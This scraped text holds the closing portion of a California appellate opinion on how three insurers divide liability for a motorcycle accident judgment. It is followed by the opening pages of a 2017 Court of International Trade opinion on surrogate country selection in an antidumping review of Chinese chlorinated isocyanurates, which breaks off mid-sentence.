The escape clause in the policy purports to apply to all losses as to which the rentee has "other valid and collectible insurance," whereas the statute permits such a clause only as to losses as to which there is insurance which is not only "valid and collectible," but which covers the additional insured "as a named insured or as an agent or employee of a named insured." As we shall see, although Valentine had coverage under the Travelers policy, he was not a "named" insured thereunder. It follows that, since Valentine was the "named insured" under the Mid-Century policy, the Stuyvesant *847 policy did not provide coverage for him for such part of the Torres' judgment as was covered by the Mid-Century policy--i.e., $10,000. But, since Valentine was not a "named insured" under the Travelers policy, Stuyvesant's policy did provide coverage for him beyond the protection afforded by Mid- Century--i.e., Valentine had coverage with Stuyvesant for the second $10,000 of the $20,000 judgment against him.
On the other hand, as we have said, the escape clause in the Stuyvesant policy does not go as far in another direction as the statute would have permitted. For reasons known to it, the company elected to limit its liability to persons other than the named insured only where that person was the "rentee." Since neither Soledad nor Incarnacion were rentees of the motorcycle, it follows that Stuyvesant's coverage as to them went to the full $300,000 limit of its policy, as did its coverage to Galbraith's, and nothing in the quoted policy provision operates to relieve Stuyvesant from liability for the portions of the judgment against those three judgment debtors of Torres, if those portions of the judgment should become effective.
III
[3] We turn, next, to the question of whether or not the Travelers policy gave coverage to any of the judgment debtors. Its policy, with a limit of $10,000 for injury to one person, insured Soledad and two described automobiles owned by him. The company has stipulated that its protection (whatever it was) extended also to Incarnacion as a named insured.
Travelers first makes the same contention as does Mid-Century, namely that, since the policy refers only to "automobiles," it afforded no coverage at all with respect to a motorcycle. For the reasons above set forth, we reject that argument.
Travelers next calls attention to an endorsement making the policy not applicable "while the automobile is being operated by ... Valentine Hernandez," and argues that that provision defeats coverage. While the statute (subd. (e) of Ins. Code, 11580.1) permits a clause excluding named persons from the coverage otherwise extended, we think that the language here used did not operate to exclude coverage for, nor as to, Valentine except where he was operating one of the two automobiles expressly described in the policy. We are enjoined by many cases, among them Gray v. Zurich Ins. Co. (1966) 65 Cal.2d 263 [54 Cal.Rptr. 104, 419 P.2d 168], that *848 policy provisions must be read in the light of the "reasonable expectations" of the insured. Two factors lead us to the conclusion stated. In the first place, the draftsman, in dealing with a policy which, by its express terms, applied not only to described automobiles but to an indefinite number of non-owned automobiles, elected to use, in this provision, the restrictive word "the automobile" and not the general term "an automobile." In the second place, although public policy compels the insurance company to provide coverage for motorcycles as well as for automobiles, that requirement exists whatever Soledad Hernandez thought and even if he did not realize that he was getting the wider protection. But the construction of the clause at issue is a matter of construing a contract. Soledad hardly could be expected to understand that the special endorsement applied to a vehicle that he did not know was covered by the policy. It follows that the attempted special exclusion of Valentine is not applicable and that, if Valentine is otherwise covered under the Travelers policy, the quoted endorsement does not operate to relieve Travelers from a coverage as to Valentine, up to the $10,000 extent of its policy. We understood Travelers' counsel to concede as much at oral argument.
Travelers agreed, in Part I of its policy, "To pay on behalf of the insured all sums which the insured shall become legally liable to pay. ..." With respect to a nonowned automobile, the policy defines the word "insured" as including both the named insured (here Soledad and Incarnacion) and "any relative, but only with respect to a private passenger automobile or trailer" and it defines the word "relative" as meaning "a relative of the named insured who is a resident of the same household." It was stipulated that Valentine was such a resident.
Travelers contends that, even if the word "automobile" must, for reasons above discussed, be read as including "motorcycle" in any clause relating to the described automobiles or relating to the named insured, the law does not require such an extension in a clause relating only to a non-owned and undescribed automobile driven by an unnamed insured. It relies on the language of section 16452 of the Vehicle Code, which, so far as here pertinent, reads as follows: "An operator's policy of motor vehicle liability insurance shall insure the person named as insured therein against loss from the liability imposed on him by law for damages arising out of use by him of any motor vehicle not owned by *849 him, ... within the same territorial limits and subject to the same limits of liability as are set forth above with respect to an owner's policy of liability insurance."
It is true, as Travelers argues, that the law of California does not require an insurance company to issue a policy covering persons other than the named insured except as they are permissive users of a described and owned motor vehicle. But if, for its own reasons, an insurance company elects to issue a policy that provides "motor vehicle" liability insurance to someone described therein by class rather than by name, and in so doing describes the members of that class as "insured," then the public policy expressed in the statutes and in the cases construing those statutes comes into play. That policy, as we have said above, requires that, if an operator is to be insured at all, he must be insured wherever and for whatever motor vehicle he drives. By expressly designating Soledad's relatives residing in his household as being "insured," the Travelers policy necessarily provided coverage for Valentine no matter what kind of nonowned motor vehicle he drove.
IV
[4] We turn now to consider in what order of priority the three policies, each of which provides coverage for Valentine, are liable to pay the $20,000 judgment against him.
We have quoted above the escape clause in the Stuyvesant policy. The statute (subd. (f) of Ins. Code, 11580.1) provides as follows: "... the two or more policies shall not be construed as providing cumulative or concurrent coverage and only that policy which covers the liability of such person as a named insured, or as an agent or employee of a named insured, shall apply." The Mid-Century and the Travelers policies each contain a so-called "excess liability" clause. So far as is herein pertinent the clause in the Mid-Century policy reads as follows: "With respect to a substitute or non-owned automobile, Coverages A ... shall be excess insurance over any other collectible insurance of any kind available to the insured irrespective of whether such other insurance was obtained by a person other than the named insured." The clause in the Travelers policy reads as follows: "... the insurance with respect to a temporary substitute or non-owned automobile shall be excess over any other valid and collectible insurance."
For the reasons we have discussed above in considering the escape clause in the Stuyvesant policy, that policy did not *850 provide coverage "available" to Valentine for any liability covered by the Mid-Century policy. As between Mid-Century and Stuyvesant, therefore, Mid-Century had a primary liability to the extent of its policy limits--i.e., it is liable for the first $10,000 of the judgment against Valentine.
As between Stuyvesant and Travelers, however, a different result follows. Were it not for the escape clause, the Stuyvesant policy would have provided coverage for Valentine (as the rentee of an owned motor vehicle) to the full $300,000 limit of that policy. It is only by reason of the escape clause and the statute permitting such a clause, that Stuyvesant becomes subordinate in liability to Mid-Century. But, as we point out above, the escape clause in the policy does not come into operation at all insofar as the Travelers policy is concerned. As between Stuyvesant and Travelers, the Stuyvesant policy is "valid and collectible" insurance entitling Travelers to rely on its excess clause and to take third place in the order of liability.
Were the present proceeding concerned only with the Mid-Century and Travelers policies, then, under well-settled law, the two "excess" clauses would have cancelled out and each company would have been liable, pro rata, to pay the judgment against Valentine. However, since that judgment is for $20,000, the actual result would have been that each company would have paid its full policy limit. Since Mid-Century is liable for its policy limit, and for no more than that limit, under any valid theory of priority, it is of no consequence to it whether the remainder of the judgment is paid by Stuyvesant or by Travelers. That final payment concerns only the latter two companies and, as between them, Travelers' liability is subordinate to that of Stuyvesant.
V
The judgment imposed on Stuyvesant the full cost of defense of the Torres' action not only insofar as a defense was provided for Galbraith's but also for the costs of defense of the three Hernandez. The principles above discussed necessarily require a revision of that portion of the judgment.
VI
As we have said above, it is unnecessary, in this case, to determine the problems of coverage or of order of liability in connection with the judgments against Galbraith's and against Soledad and Incarnacion. For the reasons set out by us in American Motorists Ins. Co. v. Underwriters at Lloyd's *851 London (1964) 224 Cal.App.2d 81 [36 Cal.Rptr. 297], and to avoid circuity of action, the insurance providing coverage for Valentine should be resorted to first. It is nowhere suggested that any of the three companies involved are financially unable to pay their portion of the judgment against Valentine; such payment will satisfy not only the judgment against Valentine but the judgment against the other judgment debtors. It is only in the unlikely event that both Mid- Century and Travelers should become insolvent that any different result could follow; in that remote event, the principles above set forth would render the escape clause in the Stuyvesant policy inoperable and that company would become liable for the full $20,000.
The judgment is reversed; the case is remanded for further proceedings consistent with this opinion. Travelers shall recover its costs on appeal against Mid-Century and Stuyvesant and against them only. Mid-Century and Stuyvesant shall each bear its own costs on appeal.
Jefferson, Acting P. J., and Dunn, J., concurred.
"(A) That plaintiff have and recover judgment against defendants Valentine Hernandez, Soledad Hernandez and Incarnacion Hernandez, jointly and severally, in the sum of $10,000."
"That said judgment against Soledad and Incarnacion Hernandez is founded solely upon their liability for signing and verifying the application of Valentine Hernandez, a minor, for a driver's license in the manner and style described by the provisions of California Vehicle Code Section 17707."
"(B) That plaintiff have and recover judgment against Valentine Hernandez and Galbraith's Cycle Fun, Inc. a corporation, jointly and severally, in the additional sum of $10,000."
"That said judgment against Galbraith's Cycle Fun, Inc., a corporation, is founded solely upon its liability as the registered owner of the vehicle permissively operated by defendant Valentine Hernandez within the meaning of the provisions of California Vehicle Code Section 17150, agency not being involved."
"(C) That the provisions of paragraphs (A) and (B) of this judgment are cumulative to the end that payment of the total sum of $20,000.00 plus interest, if any, accrued thereon, shall be required to satisfy this judgment in full."
NOTES
[fn. 1] 1. Valentine was a minor, aged 18; Soledad and Incarnacion are liable, to the extent of $10,000, because they had signed his application for an operator's license. (Veh. Code, 17707 and 17709.)
[fn. 2] 2. Galbraith's, as the owner of the motorcycle, is liable, also to the extent of $10,000, under Vehicle Code, sections 17150 and 17151.
[fn. 3] 3. We state the judgment according to its legal effect. In form, the judgment read as follows:
[fn. 4] 4. By stipulation, Travelers agreed that Incarnacion was to be treated as an additional named insured under its policy.
[fn. 5] 5. Since, as explained in footnote Nos. 1, 2 and 3, supra, the judgments against Galbraith's and against the senior Hernandez are each limited to their respective statutory liability of $10,000, it follows that Stuyvesant is actually subject to a maximum liability of $20,000 under any theory.
[fn. 6] 6. Torres and the three Hernandez were named as parties respondent on this appeal. Their respective counsel have filed notices of appearance but, because Torres will recover his judgment, and the Hernandez will be protected against liability, no matter how the appeal is decided, they did not file briefs or participate in the oral argument.
[fn. 7] 7. In its closing brief Mid-Century, for the first time, objects to the appearance here of Galbraith's as an appellant. Whatever merit the point might have had, it comes too late for us to consider it.
[fn. 8] 8. Counsel for Mid-Century cites us to the recent decision by the Appellate Department of the Superior Court for the County of Los Angeles, in Lightner v. Farmers Ins. Exchange (1969) 274 Cal.App.2d Supp. 928 [79 Cal.Rptr. 526]. That case held that a young man operating a motorcycle was not covered under the medical insurance clause of a policy describing an automobile. The case is not in point. The policy underlying section 11580.1 of the Insurance Code and sections 16451 and 16452 of the Vehicle Code is concerned with affording insurance protection to injured third parties by making sure that the tortfeasors are insured to a statutorily fixed limit. That policy does not extend to a requirement that the operator of a motor vehicle be covered by insurance for his own injuries. The fact that a provision for a limited degree of medical insurance is included in the same document as one that provides for liability insurance does not make that medical insurance provision a policy of "automobile liability insurance" within the meaning of the cited sections.
[fn. 9] 9. The policy includes, as additional insureds with respect to a non-owned automobile: "... (1) the named insured or a relative, and (2) any other person or organization not owning or hiring such [described] automobile if legally responsible for its use by the named insured or a relative, but only in the event such named insured or relative is legally liable for the occurrence; provided the actual use of the non-owned automobile by the persons in (1) and (2) above is with the permission, or reasonably believed to be with the permission, of the owner."
| 2023-08-19T01:26:51.906118 | https://example.com/article/1155 |
Slip Op. 17 - 3
UNITED STATES COURT OF INTERNATIONAL TRADE
:
JUANCHENG KANGTAI CHEMICAL :
CO., LTD., :
:
Plaintiff, :
:
ARCH CHEMICALS, INC. A LONZA : Before: R. Kenton Musgrave, Senior Judge
COMPANY, ARCH CHEMICALS (CHINA) :
CO., LTD., and HEBEI JIHENG CHEMICAL : Consol. Court No. 14-00056
CO., LTD., :
:
Consolidated Plaintiffs, :
:
v. :
:
UNITED STATES, :
:
Defendant, :
:
and :
:
CLEARON CORP., and OCCIDENTAL :
CHEMICAL CORPORATION, :
:
Defendant-Intervenors. :
:
OPINION
[Sustaining redetermination on seventh (2011-2012) administrative review of chlorinated
isocyanurates from the People’s Republic of China.]
Decided: January 19, 2017
Gregory S. Menegaz, J. Kevin Horgan, and Alexandra H. Salzman, deKieffer & Horgan,
PLLC, of Washington, DC, for the plaintiff.
Peggy A. Clarke, Law Offices of Peggy A. Clarke, of Washington, DC, for the consolidated
plaintiffs.
Consol. Court No. 14-00056 Page 2
Emma E. Bond, Trial Attorney, Commercial Litigation Branch, Civil Division, U.S.
Department of Justice, of Washington, DC, for the defendant. On the brief were Benjamin C. Mizer,
Principal Deputy Assistant Attorney General, Jeanne E. Davidson, Director, and Patricia M.
McCarthy, Assistant Director. Of Counsel was David Richardson, Senior Counsel, Office of the
Chief Counsel for Trade Enforcement & Compliance, U.S. Department of Commerce.
James R. Cannon, Jr. and Ulrika K. Swanson, Cassidy Levy Kent (USA) LLP, of
Washington, DC, for the defendant-intervenors.
Musgrave, Senior Judge: This opinion addresses the results of remand concerning
the seventh (2011-2012) administrative review of chlorinated isocyanurates (“chlor-isos”) from the
People’s Republic of China (“PRC”). Familiarity with prior proceedings1 is presumed. The plaintiff
Juancheng Kangtai Chemical Co., Ltd. (“Kangtai”) and the consolidated plaintiffs Hebei Jiheng
Chemical Co., Ltd. (“Jiheng”) and Arch Chemicals (China) Co., Ltd. (together, “Arch-Jiheng”), all
producers and/or exporters of the subject merchandise from the PRC and respondents at the
administrative review, argue for further remand, while the domestic industry representatives, Clearon
Corporation and Occidental Chemical Corporation (together, “Clearon”), support the defendant
International Trade Administration, U.S. Department of Commerce (“Commerce”), in arguing for
sustaining the latter’s results of remand as is. For the following reasons, the remand results must be
sustained.
1
See Final Results of Redetermination Pursuant to Court Remand, ECF No. 81-1 (Apr. 15,
2016) (“Redetermination” or “RR”) regarding Chlorinated Isocyanurates From the PRC, 79 Fed.
Reg. 4875 (Jan. 30, 2014), and accompanying issues and decision memorandum (Jan. 23, 2014)
(“IDM”), Public Record Document (“PDoc”) 200 (together, “Final Results”); see also Juanchang
Kangtai Chemical Co. v. United States, 39 CIT ___, Slip Op. 15-93 (Aug. 21, 2015) (remanding
original final results). Familiarity with the agency’s general methodology for seeking surrogate
values for non-market economy (“NME”) factors of production (“FOPs”) is also presumed, and
reference herein to documents in the remand administrative record are preceded by “R”.
Consol. Court No. 14-00056 Page 3
Discussion
On remand, Commerce reconsidered (1) selection of the primary surrogate country,
(2) adjustment of the financial ratio calculation to reflect production labor costs, (3) use of
ammonium sulfate as a by-product offset, (4) valuation of ammonium chloride, and (5) adjustment
of U.S. price to account for the portion of the PRC’s value added tax (VAT) that is not refunded
upon export. Arch-Jiheng contests issues (3) and (5) and Kangtai contests all five. The first three
issues overlap similar issues considered over the course of the sixth administrative review, and
Commerce’s reasoning in the Redetermination on those issues essentially adheres to the reasoning
it articulated on the similar issues in the final redetermination of that sixth review. See Clearon
Corp v. United States, 40 CIT ___, Slip Op. 16-110 (Nov. 23, 2016) (“Clearon III”); Clearon Second
Remand Results, No. 13-00073, ECF No. 106-1 (Mar. 22, 2016); see also Clearon Corp. v. United
States, 39 CIT ___, Slip Op. 15-91 (Aug. 20, 2015) (“Clearon II”) (remanding first remand results)
and Clearon Corp. v. United States, 38 CIT ___, Slip Op. 14-88 (July 24, 2014) (“Clearon I”)
(remanding original final results).
I. Selection of Surrogate Country
In its original Final Results, Commerce selected the Philippines as the primary
surrogate country over Kangtai’s objection, in relevant part, that Commerce should instead select
Thailand or India. See IDM, PDoc 200 at 6-10. Commerce concluded that the Philippines (1) was
at a level of economic development comparable to the PRC home country; (2) was a significant
producer of comparable merchandise; (3) had “publicly available and reliable data” for important
inputs (i.e., FOPs); and (4) was the sole country with contemporaneous surrogate value data for all
Consol. Court No. 14-00056 Page 4
FOPs. Id. at 6. Although Thailand likewise satisfied the first two factors (the economic
comparability and significant production prongs), Commerce explained there were no
contemporaneous Thai data for at least labor and chlorine, which are two key FOPs. Id. at 7.
Commerce also concluded the Philippines presented the best financial statement on the record;
because the Philippines financial statement contained specific line items for sales, general, and
administrative (SG&A) expenses, enabling the calculation of the surrogate financial ratios, unlike
the sole usable statement from Thailand. Id. at 8. Commerce also rejected Kangtai’s proposal to use
India, not least2 because India was not included on the list of countries at a comparable level of
economic development to the PRC. Id. at 8, 29.
After judicial review of Kangtai’s challenges to Commerce’s selection of the
Philippines as the primary surrogate country over India and Thailand, Commerce’s methodology was
sustained in part, but the selection of the Philippines was remanded for reconsideration in light of
the possibility of change to certain surrogate values. See, e.g., Slip Op. 15-93 at 22.
A.
In its remand results, Commerce continued to select the Philippines over Thailand
and India as the primary surrogate country. Redetermination at 30-33.
With respect to India versus the Philippines, Commerce adhered to the view that the
Philippines was on the surrogate country list of countries comparable to the PRC and India was not.
2
Commerce also expressed a procedural concern with using Indian data because Kangtai
had not submitted Indian data until after the preliminary results. IDM at 10. Although this
submission was not untimely, it meant that the parties’ first opportunity to consider India was at the
briefing stage before the final results, so Commerce found that such delayed consideration could
“create undue administrative difficulties” and could “be potentially unfair to the parties.” Id.
(internal quotation marks omitted).
Consol. Court No. 14-00056 Page 5
Although Commerce relied on Indian data for chlorine, as “the only other available information on
the record to value the chlorine input,”3 Commerce considered that the Philippines had “quality” data
available for the remaining dozens of inputs. Redetermination at 29. Elaborating, although
Commerce had indicated chlorine is “key,” it stated that “chlorine is not so critical as to warrant
switching to India as the primary surrogate country at the expense of quality data for all other factors
chosen from a country at the same level of economic development.” Id. Commerce more fully
explained that when it previously “emphasized” the importance of chlorine it did so when
considering an all-else-being-equal choice between economically comparable countries, and that by
definition “all else is not equal when choosing between a country at the same level of economic
development and one that is less comparable.” Id. Commerce explained that the statutory
consideration of “economic comparability” refers to a comparison of countries and not, as Kangtai
would prefer, industries, because focusing upon or emphasizing the latter would effectively
undermine the plain meaning of 19 U.S.C. §1677b(c)(2)(b). See id. at 30. For those reasons,
Commerce stated it would not choose a less economically comparable market-economy country as
its primary surrogate for the NME country simply because it values one factor accounting for “only
a fraction of NV” from such a country (in this instance, the Indian chlorine value on the record). Id.
at 31.
Regarding its choice of the Philippines over Thailand, Commerce first explained that
the record of this proceeding shows no single country that meets the requirements of being at the
same level of economic development as the PRC as well as having data for valuing all FOPs in such
3
Redetermination at 49 (emphasis in original).
Consol. Court No. 14-00056 Page 6
country. Redetermination at 31. Commerce then stated that it preferred to value FOPs in an
economically comparable country rather than relying on valuation data from a less economically
comparable country (because data from a less economically comparable country are, by definition,
less comparable) as a means of achieving “balance” among its regulations and the statutory directives
in selecting surrogate countries. Id. at 31-32 (footnotes omitted). As none of the potential surrogate
countries at the same level of economic development as the PRC contained data to value all of the
FOPs, Commerce kept its regulatory preference in mind in determining that it was able to value
nearly all of the FOPs in a single economically comparable surrogate country, i.e., the Philippines.
Id. at 32.
And in passing, Commerce also clarified, again, that it considers “economic
comparability” and “significant production of comparable merchandise” to be independent statutory
factors, and that a finding regarding one does not imply a finding regarding the other.
Redetermination at 32. Both “are threshold factors; they are either met or they are not”, and
“significant” is not measured in comparison to the respondent’s own level of production or the scale
of the industry in the NME country under investigation:
[T]he key factor is support. If a country is a significant producer of comparable
merchandise, then the economy of the surrogate country is developed enough to
support an industry in the comparable merchandise. In other words, a country is a
suitable surrogate if it is able to produce comparable merchandise in a similar
economic environment, a conclusion reached through examination of economic
comparability and, separately, examination of evidence of actual production of
comparable merchandise, even though it may be on a much smaller scale than that
of the respondents or the NME under examination. As for matching a respondent’s
production, the statute requires the Department to use the FOPs of the respondent.
It is through this method of normal value calculation that the respondent’s production
is represented and again nothing about the scale of production is included in the
FOPs provision.
Consol. Court No. 14-00056 Page 7
Id.
The foregoing is consistent with Commerce’s approach to surrogate country selection
for the subject merchandise as articulated in its second remand results on the previous (i.e., sixth)
administrative review of the antidumping duty order. See Clearon III, Slip Op. 16-110.
B.
Kangtai raises two broad arguments, the first of which appears to be directed at
Commerce’s interpretation of 19 U.S.C. §1677b(c)(4), to wit, that Commerce inappropriately
conflated quality of data with economic comparability. Kangtai also argues Commerce conflated
“meaningful consideration” of significant production (with what else, Kangtai does not elaborate)
in its analysis of the primary surrogate country. Kangtai RR Cmts at 1-5. The first argument
emanates from Commerce’s determination that it could not select India as the surrogate country due
to its preference, which is “to value FOPs in an economically comparable country, rather than relying
on valuation data from a less economically comparable country[,] because data from a less
economically comparable country is, by definition, less comparable”. Redetermination at 31-32. The
second argument apparently emanates from Commerce’s statement that “‘[s]ignificant’ is not
measured in comparison to the respondent’s own level of production or the scale of the industry in
the NME country investigation.” Id. at 32 (brackets added).
Given Commerce’s explanations, Kangtai argues that no country that is less
economically comparable could possibly have higher quality data because its data are already lower
quality by the very nature of that data being sourced from a less economically comparable country,4
4
Additionally, Kangtai complains that Commerce states that the Indian chlorine values are
(continued...)
Consol. Court No. 14-00056 Page 8
and that Commerce has effectively equated “significant producer” to mean any production and
thereby nullified that statutory requirement. “The statutory scheme does not permit the Department
to make economic comparability the exclusive test to define potential surrogate countries at the
potential sacrifice of significant production and data quality elements implicated in the pursuit of the
‘best available information.’” Kangtai RR Cmts at 5. The court can agree with that statement, but
it does not agree that Kangtai’s articulation accurately recounts what Commerce has done here or
that it is a logical extension of Commerce’s reasoning on the case.
To support its economic comparability argument, Kangtai quotes the second remand
order in the sixth administrative review, in relevant part, that data quality may sometimes
“outweigh[ ] the fact that a country is not on the surrogate country list.” Id. at 1-2, quoting Clearon
II, Slip Op. 15-91 at 10. It may indeed. But, the burden is on the claimant to persuade Commerce
that that is the case. See Clearon II at 10-11. In the remand results, Commerce found that the
Philippines was on the surrogate country list and provided the requisite quality data for all but one
of the dozens of factors of production. Redetermination at 29. In the final analysis, Commerce was
simply not persuaded by Kangtai’s arguments that Thailand or India were “better” choices for
primary surrogate country when considering the quality of their data as against those of the
Philippines in the context of statutorily-required economic comparability. See, e.g., id. at 48 (“[a]ll
else equal, the Department will consider data quality as a ‘tiebreaker’ when choosing between
4
(...continued)
not superior to the Philippine data but rather that the Philippine import sources cannot be used
merely because of chlorine’s volatile nature and high international transportation costs, and just
“[h]ow the Department reasons that reliable Indian sources are not superior to unusable inferior
Philippine data, is a perplexity that Kangtai is unable to decipher.” Kangtai RR Cmts at 2-3,
referencing Redetermination at 49.
Consol. Court No. 14-00056 Page 9
multiple countries on the list of economically comparable countries that are significant producers
of subject merchandise”).
Nor does this case turn on Kangtai’s argument that “significance is a term of
comparison.” See Kangtai RR Cmts at 4, citing Fresh Garlic Producers Ass’n v. United States, 39
CIT ___, 121 F. Supp. 3d 1313 (2015) (“FGPA”). In the remand results, Commerce disagreed with
the holding in FGPA that significant production means production “‘having or likely to have
influence or effect’” on world trade. See Redetermination at 51-52; see also FGPA, 39 CIT at ___,
121 F. Supp. 3d at 1338. Commerce instead interpreted “significant” to mean “a noticeably or
measurably large amount,” an interpretation that is entitled to Chevron deference. See
Redetermination at 52 (citation omitted); see also Agro Dutch Indus. v. United States, 508 F.3d
1024, 1029-30 (Fed. Cir. 2007). Even assuming that significance required an influence on world
trade, moreover, Kangtai has not identified any record evidence that the Philippines’ production of
the comparable merchandise, sodium hypochlorite, was so low that it completely failed to affect
world trade.
Commerce’s position is that “[t]here are not degrees of significant production” and
that it need not select the country that is “the most significant producer” of comparable merchandise.
Redetermination at 10, 50. See Kangtai RR Cmts at 5. That does not appear improper, as it is
consistent with the statutory language requiring “significant producers of comparable merchandise,”
a phrase that does not require selection of “most significant” producers of such. See 19 U.S.C.
§1677b(c)(4)(B). Kangtai, nonetheless, challenges this reasoning by relying, again, on Ad Hoc
Shrimp Action Committee v. United States, 36 CIT ___, 882 F. Supp. 2d 1366 (2012), which the
Consol. Court No. 14-00056 Page 10
context of this case has repeatedly held inapposite to Kangtai’s position. See, e.g., Slip Op 15-93
at 12-20; Clearon I, Slip Op. 14-88 at 11, 24-30. There is no perceptible basis for revisiting this
issue at this stage in the proceeding, as the remand results simply confirm Commerce’s practice of
considering “evidence of actual production of comparable merchandise” even if such production
“may be on a much smaller scale than that of the respondents or the NME under examination.” See
Redetermination at 32; see also id. at 52 (“[i]n this underlying seventh administrative review of
chloro isos from the PRC, we determined that the available data indicated significant production of
comparable merchandise in the Philippines and Thailand because the relevant amounts were
‘noticeably or measurably large’ enough to reasonably assume that the data reflected transactions
among buyers and suppliers in normal market conditions”). In other words, consideration of “actual
production,” so long as it is significant, is not synonymous with “any” production. See Kangtai RR
Cmts at 4. The defendant also points out that the facts of the matter at bar are distinguishable from
Shandong Rongxin,5 see id. at 5, in which Commerce interpreted “significant” as “any country with
any level of exports under the relevant [Harmonized Tariff Schedule] subheading”, and the court can
agree that appears to be the case.
In passing, the court notes Kangtai’s observation that Commerce “takes a very broad
perspective on one prong of the statute, significant production, and a very narrow perspective on
another prong of the statute, economic comparability”.6 That, however, may simply be a necessary
5
Shandong Rongxin Imp. & Exp. Co. v. United States, 35 CIT ___, ___, 774 F. Supp. 2d
1307, 1315 (2011), aff’d sub nom. China First Pencil Co. v. United States, 466 Fed. Appx. 881 (Fed.
Cir. 2012) (unpublished).
6
Kangtai RR Reply at 5, referencing Kangtai RR Cmts at 4-5 and, inter alia, Ad Hoc Shrimp
(continued...)
Consol. Court No. 14-00056 Page 11
consequence of reality, insofar as there may be numerous countries clustered within a particular GNI
band in any given instance, which is necessarily considered ad hoc, while at the same time only few,
if any, that can be concluded “significant” producers of the particular comparable merchandise in
question. It is not for this court to dictate to Commerce how it is to fulfill its statutory mandate under
such circumstances; there may be instances, of course, where critical data for a country on the OP
List are so obviously flawed that insistence upon selection of that country as the primary surrogate
cannot but be concluded unreasonable, or for example where production of the comparable
merchandise is so insignificant as to be commercially negligible, but in this matter the court is
unpersuaded that this is one of them.7 To this point, Kangtai is once again essentially asking the
6
(...continued)
Trade Action Comm. v. United States, 36 CIT ___, 882 F. Supp. 2d 1366, 1374 (2012) and Fresh
Garlic Producers Ass’n v. United States, 40 CIT ___, Slip Op. 16-68 (July 7, 2016) (“Commerce
has arbitrarily . . . created a broad test for significant producer and apparently a narrow test for
economic comparability”).
7
See, e.g., Redetermination at 53 (“the Department considered sodium hypochlorite and
calcium hypochlorite production and export data in the context of the statute, the regulations, and
relevant legislative history and found that, based on a comparison of the information available on
the record, both the Philippines and Thailand were significant producers of comparable merchandise
during the POR”), referencing Preliminary Decision Memorandum, PDoc 138 (dated July 2, 2013),
at 8-9 (“[t]he Department has production data on sodium hypochlorite, indicateing [sic] that the
Philippines is a significant producer of sodium hypochlorite[, and t]he Department, therefore, finds
that the Philippines is a significant producer of comparable merchandise”). Cf. Kangtai RR Reply
at 4 (“even the Department does not regard economic comparability as a strict threshold”), discussing
1-Hydroxyethylidene-1, 1-Diphosphonic Acid From the PRC, 79 Fed. Reg. 16280 (Mar. 25, 2014)
(prelim. rev. results) and Certain Frozen Fish Fillets From the Socialist Republic of Vietnam, 79
Fed. Reg, 19053 (Apr. 7, 2014) (final rev. and new ship. results), which were also acknowledged in
Slip Op. 15-93 at 14 (“as instances where Commerce went outside the OP List in its choice of
surrogate country, either because none of the OP-listed countries were significant producers of
comparable merchandise or because the non-listed country sourced the ‘best’ information for the
primary input”).
Consol. Court No. 14-00056 Page 12
court to further “weigh in” on the matter, but as previously discussed the court cannot substitute
judgment for Commerce’s reasonable determinations of fact and conclusions thereon.
C.
Notwithstanding the foregoing, Kangtai argues Commerce must reconsider the data
for Thailand vis-à-vis the Philippine data in order to make a proper primary surrogate country
selection. Kangtai RR Cmts at 6-9. The standard of review, however, compels sustaining
Commerce’s selection as supported by the record and in accordance with law.
To support its contention, Kangtai emphasizes that the determination to rely on Indian
data for chlorine amounts to an admission that the quality of the Philippines’ data is now actually
“critically different” than as found for the original Final Results. Kangtai RR Reply at 1. Stressing
Commerce’s acknowledgment on remand that it had made a primary issue out of the fact that if it
selected Thailand as the surrogate country it would have to rely on a value from a country outside
of the GNI band for the chlorine input (i.e., India),8 Kangtai argues that the new determination on
remand to rely on the Indian data for chlorine should have triggered a full reevaluation of the initial
determination to select the Philippines as the primary surrogate country. Id. at 2, citing Def’s RR
Resp. at 7 (citing Kangtai RR Cmts at 6-9). Kangtai further argues Commerce’s “brand new
inapposite position that chlorine was not that important” is “results-oriented flip-flopping” that
“cannot [be] countenance[d]”. Id. at 1, 3.
Data quality is now indeed perceptibly different, in the sense that its focal point is
now altered. However, to the extent Kangtai’s latter point implies Commerce must be held to its
8
Kangtai RR Reply at 1-2, referencing RR at 29, IDM at 7, and Def’s RR Resp. at 7-8.
Consol. Court No. 14-00056 Page 13
prior conclusion thereon, any “reconsideration” of a particular matter necessarily proceeds de novo,
from a clean slate or tabula rasa, as it would defeat the purpose of reconsideration if an agency were
to be shackled to any view, conclusion, or finding as originally expressed on the particular matter
remanded. See, e.g., Catfish Farmers of America v. United States, 37 CIT ___, Slip Op. 13-63 at
7 (May 23, 2013), remand results sustained, 38 CIT ___, Slip Op. 14-149 (Dec. 18, 2014), aff’d, 645
Fed. Appx. 1001 (Fed. Cir. 2016) (per curium), cert. denied, 137 S.Ct. 373 (2016). Any remand
order that would hamstring an agency on a significant finding that is in fact being remanded would
run the risk of being interpreted as results-oriented. Of course, the particular matter encompassed
by an order of remand is limited to and by its context; remand for “reconsideration” is not, for
example, an invitation to re-argue other matter(s) already settled or to argue additional matter not
explicitly or even implicitly encompassed by the ambit of the order of remand.
On remand of this matter, Commerce simply concluded that its perception of the data
is not “so different” as to have compelled it to choose Thailand over the Philippines. The
Redetermination indicates that Commerce did consider in fact whether the Thai data were superior
to the Philippine data, all else being equal, see, e.g., Redetermination at 49 (“we chose the
Philippines as the primary surrogate country over Thailand because the usable Philippine financial
statements allowed for direct calculation of surrogate financial ratios, whereas the Thai financial
statements did not”), and the court cannot quibble with such reasoning. Kangtai’s arguments do not
persuade that such consideration was unreasonable.
Consol. Court No. 14-00056 Page 14
D.
Nonetheless, Kangtai stresses in relation to financial statements that since
Commerce’s practice and precedent in how it weighs the quality of such data is to select the
non-distorted financial data when choosing between distorted financial data and non-distorted
financial data, and to prefer using multiple financial statements when choosing between such a group
and a single financial statement of similar quality, Commerce must follow its practice and find that
the Thai record has a higher quality of data, because there is only one Philippine financial statement
(MVC company), which Kangtai contends is distorted, and multiple Thai financial statements, which
Kangtai implies are of higher quality than the Philippine data.
A court may “uphold a decision of less than ideal clarity if the agency’s path may
reasonably be discerned.” Bowman Transportation, Inc. v. Arkansas-Best Freight System Inc., 419
U.S. 281, 285 86 (1974). Kangtai’s argument here fundamentally rests on Commerce’s emphasis
on the Siam PVS financial statement as “less detailed”, i.e., because the cost of goods sold line item
did not contain breakouts for energy and other line items. Kangtai claims this is the only statement
for either Thailand or the Philippines that did not generate an allegation of receipt of a
countervailable subsidy from any interested party, and Kangtai argues the statement “was still
detailed enough to calculate ratios.” Kangtai RR Reply at 3 n.1. Still, the root of Kangtai’s
argument here, once again, is that it is effectively asking for substitution of judgment for that of
Commerce between the PVS statement and the MVC statement, all else being equal. That would
